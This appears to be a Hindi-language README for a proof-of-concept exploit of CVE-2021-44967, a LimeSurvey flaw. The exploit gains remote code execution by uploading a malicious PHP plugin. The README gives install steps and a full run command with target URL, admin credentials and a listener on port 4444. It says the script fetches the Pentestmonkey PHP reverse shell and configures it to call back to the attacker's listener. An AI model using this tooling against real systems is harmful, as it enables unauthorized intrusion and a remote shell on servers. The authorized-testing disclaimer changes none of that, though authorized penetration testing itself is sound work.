
CVE-2021-44967 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो LimeSurvey 5.2.4 में दुर्भावनापूर्ण प्लगइन अपलोड के माध्यम से रिमोट कोड निष्पादन को सक्षम करता है, जिसमें रिवर्स शेल क्षमता शामिल है।
CVE-2021-44967 के लिए प्रूफ ऑफ कॉन्सेप्ट। स्क्रिप्ट LimeSurvey में प्रमाणित करती है, एक PHP प्लगइन अपलोड और सक्रिय करती है, और एक रिवर्स शेल ट्रिगर करती है।
इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप अधिकृत हैं।
beautifulsoup4, netifaces, और requestsPATH में उपलब्ध ncएक पृथक वातावरण बनाएँ और Python पैकेज इंस्टॉल करें:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip एक IPv4 पता या इंटरफ़ेस नाम स्वीकार करता है और डिफ़ॉल्ट रूप से tun0 होता है। यदि --file छोड़ दिया जाए, तो स्क्रिप्ट Pentestmonkey PHP रिवर्स शेल डाउनलोड करती है और इसे लिसनर पते के साथ कॉन्फ़िगर करती है। इसके बजाय स्थानीय PHP पेलोड देने के लिए --file payload.php पास करें।
प्रॉक्सी और कस्टम User-Agent सेटिंग्स सहित सभी विकल्पों के लिए python3 limesurvey_rce.py --help चलाएँ।
यह एक्सप्लॉइट LimeSurvey Community Edition 6.6.4 के विरुद्ध परीक्षण किया गया था। CVE रिकॉर्ड LimeSurvey 5.2.4 में इस समस्या का वर्णन करता है।